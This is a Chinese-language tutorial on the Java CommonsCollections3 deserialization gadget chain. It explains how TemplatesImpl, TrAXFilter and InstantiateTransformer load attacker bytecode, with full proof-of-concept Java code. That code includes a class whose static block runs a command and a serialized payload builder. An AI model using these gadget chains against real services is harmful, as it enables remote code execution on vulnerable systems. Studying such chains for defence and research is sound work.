JAVA反序列化CC3 
参考:Java反序列化CommonsCollections篇(三)-另一种命令执行方式 
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections3.java 
 
环境搭建 同CC1
相关知识 假设Runtime 被过滤  是不是就没办法实现命令执行了呢?
我们可以利用JAVA的类加载机制实现任意代码执行
类加载的核心方法在于defineClass  它接收字节码并返回对应的类(此时还未加载)
再对获取到的类调用newInstance方法实现类加载和实例化
1 2 3 4 5 6 7 8 9 10 public  class  Test {    static  {		         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {             throw  new  RuntimeException (e);         }     } } 
 
1 2 3 4 5 6 7 8 9 10 public  class  LoadClassTest  {    public  static  void  main (String[] args)  throws  Exception {         ClassLoader  cl  =  ClassLoader.getSystemClassLoader();         Method  define_class_method  =  ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class);         define_class_method.setAccessible(true );         byte [] code = Files.readAllBytes(Paths.get("E:\path\to\untitled\target\classes\Test.class" ));         Class  c  =  (Class) define_class_method.invoke(cl, code, 0 , code.length);         c.newInstance();	     } } 
 
总结:需要一个构造一个类,静态代码块放目标执行代码;用defineClass和newInstance触发类加载
漏洞分析 0x1 首先寻找defineClass的调用处  这里用到TemplatesImpl.defineClass
1 2 3 4 Class defineClass (final  byte [] b)  { 	return  defineClass(null , b, 0 , b.length); } 
 
接着追踪到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 private  void  defineTransletClasses ()  throws  TransformerConfigurationException {        if  (_bytecodes == null ) {             ErrorMsg  err  =  new  ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR);             throw  new  TransformerConfigurationException (err.toString());         }         TransletClassLoader  loader  =  (TransletClassLoader)             AccessController.doPrivileged(new  PrivilegedAction () {                 public  Object run ()  {                     return  new  TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());                 }             });         try  {             final  int  classCount  =  _bytecodes.length;             _class = new  Class [classCount];             if  (classCount > 1 ) {                 _auxClasses = new  HashMap <>();             }             for  (int  i  =  0 ; i < classCount; i++) {                 _class[i] = loader.defineClass(_bytecodes[i]);                 final  Class  superClass  =  _class[i].getSuperclass();                                  if  (superClass.getName().equals(ABSTRACT_TRANSLET)) {                     _transletIndex = i;                 }                 else  {                     _auxClasses.put(_class[i].getName(), _class[i]);                 }             }             if  (_transletIndex < 0 ) {                 ErrorMsg err= new  ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);                 throw  new  TransformerConfigurationException (err.toString());             }         } } 
 
可以看到23行调用了defineClass
注意点:
10#_tfactory.getExternalExtensionsMap()  的_tfactory没有在先赋值,仍然为null  调用会报错  所以要通过反射获取Field对其赋值
 
要绕过35行检测  否则会报错   也就是要通过27行判断使得_transletIndex被赋值  (它默认值就为-1)
跟进可知String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
也就是我们的目标类应该要继承这个类  来通过检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;public  class  Test  extends  AbstractTranslet {    static  {         try  {             Runtime.getRuntime().exec("calc" );         } catch  (IOException e) {             throw  new  RuntimeException (e);         }     }     @Override 	     public  void  transform (DOM document, SerializationHandler[] handlers)  throws  TransletException {     }     @Override      public  void  transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler)  throws  TransletException {     } } 
 
 
0x2 接着追踪defineTransletClasses的调用处  有三个地方 但是只有TemplatesImpl.getTransletInstance 中有调用newInstance 对我们有用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private  Translet getTransletInstance ()         throws  TransformerConfigurationException {         try  {             if  (_name == null ) return  null ;             if  (_class == null ) defineTransletClasses();                                       AbstractTranslet  translet  =  (AbstractTranslet) _class[_transletIndex].newInstance();             translet.postInitialization();             translet.setTemplates(this );             translet.setServicesMechnism(_useServicesMechanism);             translet.setAllowedProtocols(_accessExternalStylesheet);             if  (_auxClasses != null ) {                 translet.setAuxiliaryClasses(_auxClasses);             }             return  translet;         } } 
 
同时要注意设置_nameField
0x3 之后追踪到TemplatesImpl.newTransformer
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public  class  CC3Test  {    public  static  void  main (String[] args)  throws  Exception {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  tc  =  TemplatesImpl.class;         Field  bytecode  =  tc.getDeclaredField("_bytecodes" );         bytecode.setAccessible(true );         byte [][] bytes = new  byte [1 ][];         bytes[0 ] = Files.readAllBytes(Paths.get("E:\\path\\to\\untitled\\target\\classes\\Test.class" ));         bytecode.set(templates, bytes);		         Field  name  =  tc.getDeclaredField("_name" );            name.setAccessible(true );         name.set(templates, "gg" );         TransformerFactoryImpl  tfi  =  new  TransformerFactoryImpl ();         Field  tfactory  =  tc.getDeclaredField("_tfactory" );		         tfactory.setAccessible(true );         tfactory.set(templates, tfi);         templates.newTransformer();		     } } 
 
至此  我们相当于将之前的直接用Runtime执行命令替换成了类加载的模式    接下来就和之前的链条一样了  利用HashMap 和 ChainedTransformer来完成序列化利用
0x4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public  class  CC3Test  {    public  static  void  main (String[] args)  throws  Exception {                  TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  tc  =  TemplatesImpl.class;         Field  bytecode  =  tc.getDeclaredField("_bytecodes" );         bytecode.setAccessible(true );         byte [][] bytes = new  byte [1 ][];         bytes[0 ] = Files.readAllBytes(Paths.get("E:\\Study\\a_CTF\\Web\\java_unserialize\\untitled\\target\\classes\\Test.class" ));         bytecode.set(templates, bytes);         Field  name  =  tc.getDeclaredField("_name" );         name.setAccessible(true );         name.set(templates, "gg" );         TransformerFactoryImpl  tfi  =  new  TransformerFactoryImpl ();         Field  tfactory  =  tc.getDeclaredField("_tfactory" );         tfactory.setAccessible(true );         tfactory.set(templates, tfi);         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (new  Transformer []{                 new  ConstantTransformer (templates),                 new  InvokerTransformer ("newTransformer" ,null , null ),         });         HashMap<Object, Object> hashMap = new  HashMap <>();         Map  lazyMap  =  LazyMap.decorate(hashMap, chainedTransformer);         TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (lazyMap, "aaa" );         HashMap<Object, Object> o = new  HashMap <>();         o.put(tiedMapEntry, "bbb" );         lazyMap.remove("aaa" );     } } 
 
0x1 InvokerTransformer被过滤  那我们看看哪里调用了TemplatesImpl.newTransformer()  跟踪到
1 2 3 4 5 6 7 8 public  class  TrAXFilter  extends  XMLFilterImpl  {    public  TrAXFilter (Templates templates)   throws  TransformerConfigurationException {         _templates = templates;         _transformer = (TransformerImpl) templates.newTransformer();         _transformerHandler = new  TransformerHandlerImpl (_transformer);         _useServicesMechanism = _transformer.useServicesMechnism();     } } 
 
可以看到直接传一个templates进去就会调用 newTransformer   但是它是不可序列化的(可以用TrAXFilter.class解决)
0x2 这里又用到 InstantiateTransformer.transform  因为它获取构造器并生成实例 正好是我们想要的
1 2 3 4 5 6 7 8 9 10 11 12 public  class  InstantiateTransformer  implements  Transformer , Serializable {    public  Object transform (Object input)  {         try  {             if  (input instanceof  Class == false ) {             throw  new  FunctorException (             "InstantiateTransformer: Input object was not an instanceof Class, it was a "              + (input == null  ? "null object"  : input.getClass().getName()));         }         Constructor  con  =  ((Class) input).getConstructor(iParamTypes);         return  con.newInstance(iArgs);     } } 
 
测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public  class  CC3Test  {    public  static  void  main (String[] args)  throws  Exception {         TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  tc  =  TemplatesImpl.class;         Field  bytecode  =  tc.getDeclaredField("_bytecodes" );         bytecode.setAccessible(true );         byte [][] bytes = new  byte [1 ][];         bytes[0 ] = Files.readAllBytes(Paths.get("E:\\path\\to\\target\\classes\\Test.class" ));         bytecode.set(templates, bytes);         Field  name  =  tc.getDeclaredField("_name" );         name.setAccessible(true );         name.set(templates, "gg" );         TransformerFactoryImpl  tfi  =  new  TransformerFactoryImpl ();         Field  tfactory  =  tc.getDeclaredField("_tfactory" );         tfactory.setAccessible(true );         tfactory.set(templates, tfi);         InstantiateTransformer  trans  =  new  InstantiateTransformer (new  Class []{Templates.class}, new  Object []{templates});         trans.transform(TrAXFilter.class);	     } } 
 
0x3 最后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public  class  CC3Test  {    public  static  void  main (String[] args)  throws  Exception {                 TemplatesImpl  templates  =  new  TemplatesImpl ();         Class  tc  =  TemplatesImpl.class;         Field  bytecode  =  tc.getDeclaredField("_bytecodes" );         bytecode.setAccessible(true );         byte [][] bytes = new  byte [1 ][];         bytes[0 ] = Files.readAllBytes(Paths.get("E:\\Study\\a_CTF\\Web\\java_unserialize\\untitled\\target\\classes\\Test.class" ));         bytecode.set(templates, bytes);         Field  name  =  tc.getDeclaredField("_name" );         name.setAccessible(true );         name.set(templates, "gg" );         TransformerFactoryImpl  tfi  =  new  TransformerFactoryImpl ();         Field  tfactory  =  tc.getDeclaredField("_tfactory" );         tfactory.setAccessible(true );         tfactory.set(templates, tfi);         InstantiateTransformer  trans  =  new  InstantiateTransformer (new  Class []{Templates.class}, new  Object []{templates});         ChainedTransformer  chainedTransformer  =  new  ChainedTransformer (new  Transformer []{                 new  ConstantTransformer (TrAXFilter.class),                 trans         });         HashMap<Object, Object> hashMap = new  HashMap <>();         Map  lazyMap  =  LazyMap.decorate(hashMap, chainedTransformer);         TiedMapEntry  tiedMapEntry  =  new  TiedMapEntry (lazyMap, "aaa" );         HashMap<Object, Object> o = new  HashMap <>();         o.put(tiedMapEntry, "bbb" );         lazyMap.remove("aaa" );         serializeTest(o);     } }